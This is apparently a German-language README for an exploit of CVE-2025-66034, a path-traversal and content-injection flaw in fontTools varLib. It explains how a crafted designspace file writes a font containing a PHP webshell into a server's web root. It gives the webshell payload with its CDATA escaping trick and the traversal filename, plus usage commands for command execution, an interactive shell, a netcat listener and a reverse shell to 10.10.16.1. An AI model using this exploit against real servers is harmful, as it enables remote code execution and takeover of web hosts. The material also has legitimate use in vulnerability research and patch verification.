
CVE-2025-66034 exploit and documentation
fontTools ist eine Python-Bibliothek zur Bearbeitung von Schriftartdateien. Das Modul varLib verarbeitet .designspace-Dateien – ein XML-Format, das beschreibt, wie mehrere Schrift-Master interpoliert werden sollen, um eine variable Schriftart zu erzeugen.
In den betroffenen Versionen existieren zwei Schwächen:
1. Unbereinigter Ausgabedateiname
Das Attribut <variable-font filename="..."> in einer Designspace-Datei steuert, wohin varLib die kompilierte Ausgabeschriftart schreibt. Die Bibliothek führt keine Validierung oder Normalisierung dieses Pfades durch, bevor sie ihn an das Dateisystem übergibt. Ein Angreifer kann einen absoluten Pfad oder eine Pfad-Traversierungs-Sequenz angeben, um die Ausgabedatei an jede beliebige Stelle zu schreiben, auf die der Prozess Schreibzugriff hat.
2. XML-Inhalt wird ungefiltert in die Ausgabe übernommen
fontTools serialisiert Achsenbezeichnungen aus <labelname>-Elementen direkt als rohe Bytes in die Namenstabelle der Ausgabeschriftart, ohne den Inhalt zu bereinigen. Jeder String, der innerhalb eines <labelname>-Blocks platziert wird – einschließlich PHP-Code – landet unverändert in der geschriebenen Datei.
Zusammen ermöglichen diese beiden Schwächen einem Angreifer, der eine Designspace-Datei an einen fontTools-gestützten Webendpunkt übermitteln kann, eine beliebige Datei mit beliebigem Inhalt an jeden beschreibbaren Pfad auf dem Server zu schreiben.
Die Designspace-Datei enthält zwei Injektionen.
Die erste befindet sich im <labelname>-Element:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
CDATA-Abschnitte in XML erlauben beliebige Zeichendaten ohne Entity-Escaping, können jedoch selbst nicht die Sequenz ]]> enthalten, da diese den Abschnitt beendet. Das schließende PHP-Tag ?> würde bei naivem Schreiben einen Parse-Fehler verursachen. Die Sequenz ]]]]><![CDATA[> schließt einen CDATA-Abschnitt unmittelbar nach ]] und öffnet einen neuen, der mit > beginnt, sodass der endgültig gerenderte Inhalt <?php system($_REQUEST["cmd"]);?> – syntaktisch gültiges PHP – ist, ohne jemals einen XML-Parser-Fehler auszulösen.
Die zweite Injektion befindet sich im Ausgabepfad:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools konstruiert das Ausgabedatei-Handle aus diesem String ohne Pfadnormalisierung. Die Datei wird an genau dieser Stelle erstellt.
varLib benötigt mindestens eine Quellschriftart zum Kompilieren. Der Master muss keine echte Schriftart sein – ein minimales TTF mit einem einzigen leeren Glyphen reicht aus, um die Validierung zu bestehen. Das in diesem Exploit eingebettete Base64-TTF wurde mit fontTools FontBuilder erstellt und enthält nur einen .notdef-Glyphen mit einer quadratischen Kontur und den minimal erforderlichen Tabellen (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
Der Exploit sendet die Designspace und das TTF als multipart/form-data-POST an den Schriftgenerierungs-Endpunkt der Webanwendung. Der Server übergibt die Dateien an varLib.build(). varLib parst die Designspace, liest den Master, kompiliert die variable Schriftart und schreibt sie in den in filename= angegebenen Pfad – das ist das Web-Root-Verzeichnis.
Die geschriebene Datei ist eine binäre Schriftartdatei mit dem eingebetteten PHP-Payload. Der PHP-Parser scannt Dateien nach öffnenden Tags, anstatt dass die Datei vollständig aus PHP bestehen muss. Wenn der Webserver die Datei als PHP verarbeitet, findet er <?php system($_REQUEST["cmd"]);?> und führt es aus. Alles vor und nach dem Tag wird unverändert ausgegeben und ignoriert.
Der Antworttext ist das rohe Schrift-Binary. Die Befehlsausgabe landet zwischen zwei vorhersagbaren Markierungen, die fontTools in die Namenstabelle schreibt:
TestWeight400 – abgeleitet aus den Feldern Familie und Gewichtsklasse des eingebetteten Master-TTF]]>ThinMEOW2 – aus dem französischen <labelname>-Element in der DesignspaceDer Exploit schneidet die Antwort zwischen diesen beiden Strings aus und entfernt mit BeautifulSoup verbleibende XML-Tags, um eine saubere Befehlsausgabe zu erhalten.
pip install requests beautifulsoup4
Alle drei Zielparameter sind erforderlich. Es sind keine Standardwerte fest codiert.
--process-url Vollständige URL des Schriftprozessor-Endpunkts
--shell-url Vollständige URL, unter der die Webshell nach dem Schreiben erreichbar ist
--write-path Dateisystempfad, in den der Server die Shell schreiben soll
Optional:
--session PHPSESSID-Cookie-Wert (falls das Portal eine Authentifizierung erfordert)
--no-plant Upload-Schritt überspringen (Shell bereits platziert)
--hostname Bezeichnung, die in der interaktiven Eingabeaufforderung angezeigt wird
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
Zuerst einen Listener starten:
nc -lvnp 4444
Dann auslösen:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
Das Reverse-Shell-Payload wird vor der Übertragung Base64-kodiert, um Probleme mit Shell-Metazeichen-Escaping innerhalb des cmd-Abfrageparameters zu vermeiden.
existiert in der build()-Funktion des Moduls varLib und im Designspace-Parser.